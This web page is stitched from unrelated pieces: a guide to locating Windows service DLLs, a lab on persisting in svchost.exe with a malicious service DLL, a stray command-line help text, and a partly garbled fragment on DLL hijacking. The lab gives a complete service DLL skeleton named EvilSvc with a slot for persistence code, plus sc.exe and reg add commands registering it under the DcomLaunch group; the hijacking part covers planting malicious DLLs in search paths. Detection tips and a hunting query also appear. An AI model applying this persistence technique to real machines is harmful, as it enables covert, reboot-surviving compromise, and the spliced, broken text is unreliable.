Understanding the DLL (Dynamic Link Library) files associated with Windows services is crucial for troubleshooting, maintenance, and ensuring the proper functioning of system components. services.msc, a key management tool in Windows, provides limited visibility into service DLL files directly. This guide explores methods and best practices to locate service DLL files effectively using services.msc and complementary tools.
Importance of Service DLL Files
DLL files contain code and data that multiple programs can use simultaneously, providing efficiency and modularity to applications and services. For Windows services, DLL files are essential components that handle specific functionalities, interactions with the operating system, and dependencies with other software modules.
Methods to Find Service DLL Files
While services.msc does not offer a direct feature to view or manage service DLL files, alternative approaches allow administrators to identify and manage DLL files associated with services:
Method 1: Using Command Prompt or PowerShell
- Open Command Prompt or PowerShell: Press
Windows Key + X
and select “Command Prompt (Admin)” or “Windows PowerShell (Admin)” to open with administrative privileges. - Query Service Information: Use the
sc
command followed by the service name to query detailed information, including the path to the executable and DLL files. For example:sc qc <service_name>
- Review Binary Path: Look for the “BINARY_PATH_NAME” parameter in the output, which specifies the location of the executable file. DLL files associated with the service are typically located in the same directory or subdirectories.
Method 2: Using Process Explorer
- Download and Open Process Explorer: Download Process Explorer from the Microsoft website and launch it with administrative privileges.
- Search for Service Process: Locate the process associated with the service by searching for the service name in Process Explorer.
- View Loaded DLLs: Right-click on the process, select “Properties,” and navigate to the “Image” tab. Click on the “DLL” tab to view a list of DLL files loaded by the service process, including their paths.
Method 3: Using Dependency Walker
- Download and Install Dependency Walker: Download Dependency Walker from its official website and install it on your system.
- Open Service Executable: Launch Dependency Walker and open the service executable file (
.exe
) associated with the service. Dependency Walker displays a hierarchical view of DLL files and their dependencies. - Analyse DLL Dependencies: Navigate through the dependency tree to identify all DLL files linked to the service executable, including their paths and versions.
Best Practices for Managing Service DLL Files
To effectively manage service DLL files and ensure system stability, consider the following best practices:
- Regular Updates: Keep DLL files updated to maintain compatibility with the latest Windows updates and security patches.
- Security Measures: Verify the authenticity and integrity of DLL files to prevent potential threats from malicious or corrupted files.
- Backup and Recovery: Implement backup procedures for critical DLL files to facilitate quick recovery in case of file corruption or accidental deletion.
Conclusion
While services.msc provides essential tools for manageing Windows services, administrators may need to utilise additional tools such as Command Prompt, PowerShell, Process Explorer, or Dependency Walker to locate and manage service DLL files effectively. By following the methods outlined in this guide and adhering to best practices, IT professionals can maintain service reliability, troubleshoot issues promptly, and ensure seamless operation of critical system components.
For organisations requiring advanced DLL file management or facing complex service dependencies, consulting Microsoft documentation, community forums, or engageing professional support can provide further insights and tailored solutions. By mastering the methods to find and manage service DLL files, administrators can enhance system performance, mitigate risks, and optimise the overall efficiency of Windows service management.
Persisting in svchost.exe with a Service DLL
This is a quick lab that looks into a persistence mechanism that relies on installing a new Windows service, that will be hosted by an svchost.exe process.
At a high level, this is how the technique works:
-
Create a service
EvilSvc.dll
DLL (the DLL that will be loaded into ansvchost.exe
) with the code we want executed on each system reboot -
Create a new service
EvilSvc
withbinPath= svchost.exe
-
Add the
ServiceDll
value toEvilSvc
service and point it to the service DLL compiled in step 1 -
Modify
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
to specify under which group your service should be loaded into -
The
EvilSvc
is started and its service DLLEvilSvc.dll
is loaded into ansvchost.exe
First of, let’s compile our service DLL as EvilSvc.dll. This DLL is going to be loaded into an svchost.exe
as part of our service EvilSvc
that we will register in a second:
#include "pch.h"
#define SVCNAME TEXT("EvilSvc")
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle;
HANDLE stopEvent = NULL;
VOID UpdateServiceStatus(DWORD currentState)
{
serviceStatus.dwCurrentState = currentState;
SetServiceStatus(serviceStatusHandle, &serviceStatus);
}
DWORD ServiceHandler(DWORD controlCode, DWORD eventType, LPVOID eventData, LPVOID context)
{
switch (controlCode)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetEvent(stopEvent);
break;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
UpdateServiceStatus(SERVICE_RUNNING);
return NO_ERROR;
}
VOID ExecuteServiceCode()
{
stopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
UpdateServiceStatus(SERVICE_RUNNING);
// #####################################
// your persistence code here
// #####################################
while (1)
{
WaitForSingleObject(stopEvent, INFINITE);
UpdateServiceStatus(SERVICE_STOPPED);
return;
}
}
extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD argC, LPWSTR * argV)
{
serviceStatusHandle = RegisterServiceCtrlHandler(SVCNAME, (LPHANDLER_FUNCTION)ServiceHandler);
serviceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
serviceStatus.dwServiceSpecificExitCode = 0;
UpdateServiceStatus(SERVICE_START_PENDING);
ExecuteServiceCode();
}
2. Create EvilSvc Service
Let’s now create a new service called EvilSvc
and specify the binPath
to be svchost.exe -k DcomLaunch
, which will tell Service Control Manager that we want our EvilSvc
to be hosted by svchost.exe
in a service group called DcomLaunch
:
sc.exe create EvilSvc binPath= "c:\windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
3. Modify EvilSvc — Specify ServiceDLL Path
Next, inside HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\
, create a new value called ServiceDll
and point it to the EvilSvc.dll service DLL compiled in step 1:
reg add HKLM\SYSTEM\CurrentControlSet\services\EvilSvc\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\system32\EvilSvc.dll /f
EvilSvc.dll
must exist in C:\Windows\system32\EvilSvc.dll
At this point, our EvilSvc
should be created with all the right parameters as seen in the registry:
4. Group EvilSvc with DcomLaunch
As a final step, we need to tell the Service Control Manager under which service group our EvilSvc
should load.
We want it to get loaded in the DcomLaunch
group, so we need to add our service name EvilSvc
in the list of services in the DcomLaunch
value in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
:
We can now try loading our EvilSvc
service:
EvilSvc
is now loaded into svchost.exe as part of a DcomLauncher
services group:
Below are some initial thoughts on how one could start hunting for this technique:
-
Recently created services with
svchost.exe
as abinpath
-
Listing out ServiceDLL value for all system services and looking for DLLs that are loaded from suspicious locations (i.e non c:\windows\system32):
Get-ItemProperty hklm:\SYSTEM\ControlSet001\Services\*\Parameters | ? { $_.servicedll } | select psparentpath, servicedll
Allowed options: -h [ --help ] give this help list --type type command type, 0 - create service, 1 - run service --group-name group-name SvcHost service group name --service-name service-name Service name --description description (=ServiceDescription) Service description --display-name display-name (=DisplayName) Service display name --dll-path dll-path Service DLL full path --verbose verbose (=1) verbose messages, 0 - without, 1 - with
DLLs form an integral part of applications/services as the contain common codes used by various applications thereby reducing the necessity to include these codes repeatedly in all applications/services that need it.
One of the ways to get to execute malicious code on a system when you can’t find a binary that has enough permissions is to replace the DLLs used by the application.
Another method is to replace the search order for the DLL. All applications have safe search mode enabled, which makes DLL hijacking difficult. The order of search is,
-
Directory from which the application is loaded
-
Directories listed in the PATH environment variable
When safe search mode is disabled the current directory moves to second position. Sometimes there are also missing DLLs, which happen to be optional for the working of the application, that can be placed to execute the malicious code.
We start by listing the services that are running using the .
The check the binary permission for the listed services using icacls.
We first need to list all the DLLs used by a certain application/service. This can be found using the binary. When you start the Procmon binary be sure to filter the services to list only the ones that pertain to a specific application/service.
Once it is filtered, the service has to be restarted so that it will try to load the DLLs.
You may notice a «Name not found» error against some of the DLLs and you will also notice that the service/applicaiton is trying to access it in various locations.
Once you have a malicious DLL created, you can try to place it one of the locations and restart the service to load the DLL and execute the malicious code.